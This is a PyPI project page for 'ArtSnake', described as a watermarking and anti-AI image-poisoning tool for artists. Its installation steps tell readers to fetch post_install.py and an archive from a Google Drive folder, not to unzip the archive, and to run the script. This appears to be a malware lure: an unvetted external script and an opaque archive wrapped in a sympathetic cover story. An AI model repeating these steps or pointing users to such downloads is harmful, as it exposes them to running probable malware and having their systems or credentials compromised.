Skip to main content

A brief description of your library

Project description

Documentation Status PyPI

ArtSnake

Say no to art theft! Robust and easy-to-use tool/API to protect digital art and photos from use without consent, combining context-aware watermarking and image poisoning.

Current Scenario

Artists are often unable to protect their digital art from unauthorized use. No current solution combines the ease of use of traditional watermarking with the robustness of invisible watermarking and image poisoning techniques, and each has its own limitations.

Current watermark implementation tools are not context-aware. They can often be very easily removed by cropping or editing the image using modern image editing software and generative models, or obstruct the image in a way that is visually damaging to the art. (For the prototype version of the project, this is the main concern)

On the other side of the spectrum, current invisible watermarking techniques are often too complex for artists to use, and require a deep understanding of cryptography and image processing. And in the case of protection against generative models, they are often rely on the good faith of the model creators to respect the watermark, which does not provide a real solution to the problem. Anti-AI image poisoning techniques are, although powerful, not easily accessible in an easily integrable form for artists, especially those who do not possess computing resources or knowledge.

Installation

To install ArtSnake, open your terminal and run the following command:

    pip install ArtSnake

Download the post_install.py and ArtSnake.zip files from the repository https://drive.google.com/drive/folders/1BQiAme8a6fbI0lzCc6Jg3Qfr5LxSJiH3?usp=drive_link.

Ensure that both files (post_install.py and ArtSnake.zip) are in the same directory and DO NOT unzip the ArtSnake.zip.

Open your terminal, navigate to the directory containing these files, and run the following command:

    python post_install.py

This will complete the installation process for ArtSnake.

If you encounter any issues, please refer to the documentation.

Happy coding with ArtSnake!

References

Link to Pypi page

https://pypi.org/project/ArtSnake/

Papers

On the Effectiveness of Visible Watermarks

Visible Watermark Detection in Images

An Adaptive Visible Watermark Embedding Method based on Region Selection

Adaptive Reversible Visible Watermarking Based on Total Variation for BTC-Compressed Images

Preventing Unauthorized AI Over-Analysis by Medical Image Adversarial Watermarking

Benchmarking the Robustness of Image Watermarks

Technologies of Interest

ArtShield

Glaze

Sanative AI

Repositories of Interest

umd-huang-lab/WAVES

rohitrango/automatic-watermark-detection

LAION-AI/watermark-detection

EspacioLatente/Glaze

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

artsnake-0.3.0.tar.gz (11.3 kB view details)

Uploaded Source

Built Distribution

ArtSnake-0.3.0-py3-none-any.whl (13.0 kB view details)

Uploaded Python 3

File details

Details for the file artsnake-0.3.0.tar.gz.

File metadata

  • Download URL: artsnake-0.3.0.tar.gz
  • Upload date:
  • Size: 11.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.0 CPython/3.11.4

File hashes

Hashes for artsnake-0.3.0.tar.gz
Algorithm Hash digest
SHA256 e0c57311bd6a16e29262abfae2741db4a9620f33c74b21345080f600b140b756
MD5 e4655a261ec3eb02d4286943e0e50293
BLAKE2b-256 3472e4b913bf29d7ed825b2aa21fb434e76b1ca0542825953c96a60400ff17de

See more details on using hashes here.

File details

Details for the file ArtSnake-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: ArtSnake-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 13.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.0 CPython/3.11.4

File hashes

Hashes for ArtSnake-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 7bc4ae6dcde637c36d447da940bb08cd7ecfa85e1e123bfd5797176a49b01320
MD5 13cc7faf22ddb6af919523462d348ce4
BLAKE2b-256 f99c886a5fd67d371302f8a8c920a56fc8e279cdc17fa2260561598fac3fd221

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page